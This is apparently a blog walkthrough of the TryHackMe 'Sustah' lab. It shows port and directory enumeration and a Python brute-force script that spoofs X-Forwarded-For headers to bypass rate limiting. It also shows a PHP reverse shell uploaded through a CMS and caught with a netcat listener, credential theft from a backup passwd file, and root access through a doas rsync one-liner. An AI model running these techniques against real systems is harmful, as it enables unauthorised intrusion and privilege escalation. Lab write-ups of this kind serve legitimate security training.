TryHackMe - Sustah
The developers have added anti-cheat measures to their game. Are you able to defeat the restrictions to gain access to their internal CMS?
Please allow 3 minutes for the box to fully boot and the services to be available.
Title | Sustah |
---|---|
Difficulty | Medium |
Author | kiransau |
Tags | security, linux, cms |
Enumeration
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 sustah.thm
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 22:37 EDT
Nmap scan report for sustah.thm (10.10.134.252)
Host is up (0.26s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8085/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 15.39 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -A -sV -Pn -p 22,80,8085 sustah.thm
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 22:38 EDT
Nmap scan report for sustah.thm (10.10.134.252)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bda4a3ae66681d74e1c06aeb2b9bf333 (RSA)
| 256 9adb73790c72be051a8673dcac6d7aef (ECDSA)
|_ 256 648d5c79dee1f73f087cebb7b324641f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Susta
|_http-server-header: Apache/2.4.18 (Ubuntu)
8085/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Spinner
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.4
OS details: Linux 5.4
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 252.73 ms 10.9.0.1 (10.9.0.1)
2 252.85 ms sustah.thm (10.10.134.252)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.43 seconds
HTTP (Port 80
) + Fuzzing
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w common.txt --no-error -t 50 -u http://sustah.thm/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sustah.thm/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/10/17 22:39:08 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/.hta (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 678]
/server-status (Status: 403) [Size: 275]
Progress: 4614 / 4615 (99.98%)
===============================================================
2023/10/17 22:39:34 Finished
===============================================================
HTTP (Port 8085
) + Fuzzing
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w ~/Wordlists/directory-list-2.3-medium.txt --no-error -t 50 -u http://sustah.thm:8085/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sustah.thm:8085/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /home/kali/Wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/10/17 22:39:43 Starting gobuster in directory enumeration mode
===============================================================
/home (Status: 200) [Size: 955]
/ping (Status: 200) [Size: 4]
The /home
path is the same as the default page, while the /ping
path only displays a PONG message which is not helpful in current. So I pass it and focus on the default page.
This is the capture of the request and response:
GET / HTTP/1.1
Host: sustah.thm:8085
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Wed, 18 Oct 2023 03:15:09 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 955
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 8
X-RateLimit-Reset: 1697598943
Retry-After: 33
<!DOCTYPE html>
<html lang="en">
[---snipped---]
<label for="number">Feeling lucky? Guess the right number. You have a 0.004% chance of winning.</label>
<form method="post" class="inputs">
<input placeholder="Input" type="number" name="number">
<button type="submit" class="btn draw-border">Click</button>
</form>
<h3></h3>
</body>
<script src="/static/index.js"></script>
</html>
I enter a random numeric into the input field and capture it’s request and response:
POST / HTTP/1.1
Host: sustah.thm:8085
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: http://sustah.thm:8085
Connection: close
Referer: http://sustah.thm:8085/
Upgrade-Insecure-Requests: 1
number=7
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Wed, 18 Oct 2023 03:17:39 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1004
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1697599120
Retry-After: 60
<!DOCTYPE html>
<html lang="en">
[---snipped---]
<label for="number">Feeling lucky? Guess the right number. You have a 0.004% chance of winning.</label>
<form method="post" class="inputs">
<input placeholder="Input" type="number" name="number">
<button type="submit" class="btn draw-border">Click</button>
</form>
<h3>Oh no! How unlucky. Spin the wheel and try again.</h3>
</body>
<script src="/static/index.js"></script>
</html>
The first question is What is the number that revealed the path? → I must find out the correct number to input into the Input field to get the revealed path. So I perform a brute-force attack on this value but after a few requests, I got the error rate limit exceeded:
Base on the response header, I know that the X-RateLimit-Limit is the one that affect the error:
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1697599120
Googling for awhile and I figure out that I need to modify the request header with these values:
- X-Originating-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Remote-Addr: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Host: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
Therefore, I write a Python script to brute-force the number input while adding the above header values to bypass the Rate Limit error occurs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import re
url = "http://sustah.thm:8085/"
headers = {"X-Remote-Addr":"127.0.0.1", "X-Originating-IP": "127.0.0.1", "X-Forwarded-For": "127.0.0.1", "X-Remote-IP": "127.0.0.1", "X-Host": "127.0.0.1"}
data = {"number": 5}
incorrect_num = "Oh no! How unlucky. Spin the wheel and try again."
# Start at 10000 because the placeholding in the answer path of the question is 5 digits number
for num in range(10000,99999):
data = {"number":num}
try:
print(f"[...] data={data}")
response = requests.post(url=url, headers=headers, data=data)
except requests.exceptions.RequestException as e:
print(e)
content = response.text
for line in content.split("\n"):
if "h3" in line and incorrect_num not in content:
print("[+] Response: {line}")
And this is the result:
┌──(kali㉿kali)-[~/TryHackMe/sustah]
└─$ python3 brute_force.py
[...] data={'number': 10000}
[...] data={'number': 10001}
[...] data={'number': 10002}
[...] data={'number': 10003}
[---snipped---]
[...] data={'number': [REDACTED]}
[+] Response: <h3>path: /[REDACTED]</h3>
Since I found the correct number and got the hidden path, I’ve routed to that path following the port 8085
but it has respond with 404
error code which means that path might only work on port 80
instead of 8085
:
┌──(kali㉿kali)-[~/TryHackMe/sustah]
└─$ curl http://sustah.thm:8085/[REDACTED]/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
So I remove the 8085
number to check out the path on the default http port and I get the name of the running CMS of the server:
Enumerate the internal links, I also know its version:
Now I now it’s version, I can easily explore the vulnerabilities and the way to exploit it from exploit-db.
First I navigate to the Test Page
from the Site Map which has the path is lorem.php
and it gives me the link to the login function:
After logging in, refresh the page and now I have full permissions to edit,create,open all the things from this application:
I hover the File button on the menu-bar > Click New to create a new file which contains my reverse shell:
I select the shell from my local machine and upload it within the name as monkey_shell.php:
Reload the page and verify that my shell has been uploaded successfully:
On my local machine, I start a listener and then click on the monkey_shell.php on the web-browser to execute the shell:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.12.217] 38072
Linux ubuntu-xenial 4.4.0-197-generic #229-Ubuntu SMP Wed Nov 25 11:05:42 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
07:06:15 up 22 min, 0 users, load average: 0.00, 0.04, 0.24
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu-xenial:/$ id;whoami;pwd
id;whoami;pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/
Horizontal Privilege Escalation
I enumerate the /var/
path and explore the backups
directory contains a hidden .bak.passwd
file:
www-data@ubuntu-xenial:/var/backups$ ls -la
ls -la
total 636
drwxr-xr-x 2 root root 4096 Dec 9 2020 .
drwxr-xr-x 14 root root 4096 Dec 6 2020 ..
-r--r--r-- 1 root root 1722 Dec 6 2020 .bak.passwd
-rw-r--r-- 1 root root 51200 Dec 6 2020 alternatives.tar.0
-rw-r--r-- 1 root root 6308 Dec 9 2020 apt.extended_states.0
-rw-r--r-- 1 root root 715 Dec 6 2020 apt.extended_states.1.gz
-rw-r--r-- 1 root root 509 Nov 12 2020 dpkg.diversions.0
-rw-r--r-- 1 root root 207 Dec 6 2020 dpkg.statoverride.0
-rw-r--r-- 1 root root 547201 Dec 6 2020 dpkg.status.0
-rw------- 1 root root 849 Dec 6 2020 group.bak
-rw------- 1 root shadow 714 Dec 6 2020 gshadow.bak
-rw------- 1 root root 1695 Dec 6 2020 passwd.bak
-rw------- 1 root shadow 1031 Dec 6 2020 shadow.bak
Read that file and I get the password of user kiran:
www-data@ubuntu-xenial:/var/backups$ cat .bak.passwd
cat .bak.passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
kiran:x:1002:1002:[REDACTED]:/home/kiran:
Switch to user kiran and simply get the user flag:
www-data@ubuntu-xenial:/var/backups$ su kiran
su kiran
Password: [REDACTED]
kiran@ubuntu-xenial:/var/backups$ id
id
uid=1002(kiran) gid=1002(kiran) groups=1002(kiran)
kiran@ubuntu-xenial:/var/backups$ cd
cd
kiran@ubuntu-xenial:~$ ls -la
ls -la
total 28
drwxr-xr-x 5 kiran kiran 4096 Dec 9 2020 .
drwxr-xr-x 3 root root 4096 Dec 7 2020 ..
-rw------- 1 kiran kiran 0 Dec 9 2020 .bash_history
drwx------ 2 kiran kiran 4096 Dec 9 2020 .cache
drwxr-x--- 3 kiran kiran 4096 Dec 6 2020 .config
drwx------ 2 kiran kiran 4096 Dec 6 2020 .gnupg
-rw-r--r-- 1 kiran kiran 670 Dec 9 2020 .profile
-r-------- 1 kiran kiran 33 Dec 9 2020 user.txt
kiran@ubuntu-xenial:~$ cat user.txt
cat user.txt
[REDACTED]
Vertical Privilege Escalation
I use grep
command to scan all the information that relate to the current user kiran and discover an interest thing:
kiran@ubuntu-xenial:/$ grep -R "kiran" 2>/dev/null | grep "pass"
grep -R "kiran" 2>/dev/null | grep "pass"
usr/local/etc/doas.conf: permit nopass kiran as root cmd rsync
The doas.conf
and the following message that permit the user kiran to execute rsync
command as root.
Combining with GTFOBins, the exploit command would be like this:
kiran@ubuntu-xenial:/$ doas rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
< rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
[REDACTED]